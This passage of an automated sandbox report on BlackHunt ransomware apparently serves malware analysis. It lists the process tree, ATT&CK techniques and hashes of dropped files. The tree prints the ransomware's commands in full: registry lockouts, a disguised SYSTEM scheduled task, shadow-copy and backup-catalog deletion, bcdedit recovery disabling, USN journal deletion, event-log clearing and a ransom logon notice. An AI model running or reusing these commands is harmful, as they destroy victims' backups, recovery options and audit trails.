    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1520
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2620
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:3040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2784
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2780
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2860
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2908
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2932
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:1992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2776
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1952
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:844
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2500
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1996
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2472
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe" /F
  2⤵
  PID:2648
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:1796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2348
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2988
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2416
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2132
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:1468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1132
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1964
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:816
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1556
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:892
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    - Modifies registry class
    PID:1376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:904
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:1248
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:3096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:2228
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:3160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:2504
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:3088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:3268
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:3296
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:3264
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:3560
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:3572
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3540
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3652
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3628
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3700
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3612
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3864
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:3932
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:1960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:3988
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:3880
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:2860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:4028
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:2360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:3916
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:1764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:664
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:2880
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:2872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:1852
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2700
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe"
  2⤵
  - Deletes itself
  PID:1520
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:268

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2268

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1720

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1996

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2956

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\Program Files\7-Zip\Lang\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
d88f84276700d7699b24e04f737bbaad

SHA1
c77b7f962fbfbc2b6b5dfb8b1a3e429d0528aea1

SHA256
02e2cf5e3367204987728786a29a8ad2794fc4ca5c78b4bd7b48a29a5527f2fe

SHA512
d93ccaf775972f233e7664884e9fe7e6694ac34ff3ebca3e7c67637d8f09b10988a73080c403e06570319a5c824de354af373c06ffa1bec972890d1268861443

Download Submit
C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
5afaf8c08ddce8f20ef885533408d880

SHA1
26b48311cd1b84c0dd91b124fb84608f1264a664

SHA256
b7d364158985c26e8af52af1e2c2c7df19c213ab9b98d3f22d64d19b791c1319

SHA512
780de38b0a2fc696752a55fedae7c81b8a6e698c19941b5e5b40cb766d2e6bcac2991316f656dd293773e4a72c240114d1a369e2040e9043ac2d166ed8863b5d

Download Submit
F:\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
cc61afd185f45e214c096dd30ea1f221

SHA1
95138e4139fc634989f8c5680f9cb9b1a3075dcf

SHA256
379b54cc4a9af5ad41317861c8c508d140836a00ed8030e832858e4a45737ba8

SHA512
43a5677dbbcd8569f4b66009d6fc981fcc3b1da41ab46e8a11127cb88bb997c3e9c7b39a53d0f16859656ffc5b2fc80f09930a2c691142ac5717d8038a7c8033

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads